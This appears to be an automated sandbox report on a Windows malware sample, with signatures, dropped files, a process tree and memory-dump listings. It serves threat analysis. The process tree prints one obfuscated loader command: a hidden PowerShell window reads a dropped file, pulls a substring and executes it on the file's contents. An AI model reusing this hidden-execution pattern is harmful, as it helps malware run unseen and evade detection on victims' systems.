Analysis
- max time kernel
42s - max time network
53s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
05/07/2024, 01:48
General
- Target c8ef778ff1e9493aecd06b7be81c033356d288235494e6ae5d67bd0cc6789195.exe
- Size 457KB
- Sample240705-b8mhyazbpl
- SHA256 c8ef778ff1e9493aecd06b7be81c033356d288235494e6ae5d67bd0cc6789195
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 3 IoCs
- Drops file in System32 directory 1 IoCs
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c8ef778ff1e9493aecd06b7be81c033356d288235494e6ae5d67bd0cc6789195.exe"C:\Users\Admin\AppData\Local\Temp\c8ef778ff1e9493aecd06b7be81c033356d288235494e6ae5d67bd0cc6789195.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Lovkrav=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Radioaktivest.Sup';$Exorable=$Lovkrav.SubString(70678,3);.$Exorable($Lovkrav)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1120 -s 22643⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1120 -ip 11201⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_zicpzbzb.j0o.ps1
Banner.dll
BgImage.dll
nsDialogs.dll
Radioaktivest.Sup
memory/1120-32-0x00000000735A0000-0x0000000073D50000-memory.dmp
memory/1120-45-0x00000000067B0000-0x00000000067FC000-memory.dmp
memory/1120-30-0x0000000005250000-0x0000000005272000-memory.dmp
memory/1120-33-0x0000000005B90000-0x0000000005BF6000-memory.dmp
memory/1120-29-0x00000000735A0000-0x0000000073D50000-memory.dmp
memory/1120-27-0x0000000002C30000-0x0000000002C66000-memory.dmp
memory/1120-31-0x0000000005B20000-0x0000000005B86000-memory.dmp
memory/1120-43-0x0000000005C00000-0x0000000005F54000-memory.dmp
memory/1120-44-0x00000000061F0000-0x000000000620E000-memory.dmp
memory/1120-28-0x00000000052C0000-0x00000000058E8000-memory.dmp
memory/1120-48-0x00000000073D0000-0x00000000073F2000-memory.dmp
memory/1120-47-0x00000000072E0000-0x00000000072FA000-memory.dmp
memory/1120-46-0x0000000007330000-0x00000000073C6000-memory.dmp
memory/1120-49-0x00000000079B0000-0x0000000007F54000-memory.dmp
memory/1120-26-0x00000000735AE000-0x00000000735AF000-memory.dmp
memory/1120-51-0x00000000085E0000-0x0000000008C5A000-memory.dmp
memory/1120-53-0x00000000735A0000-0x0000000073D50000-memory.dmp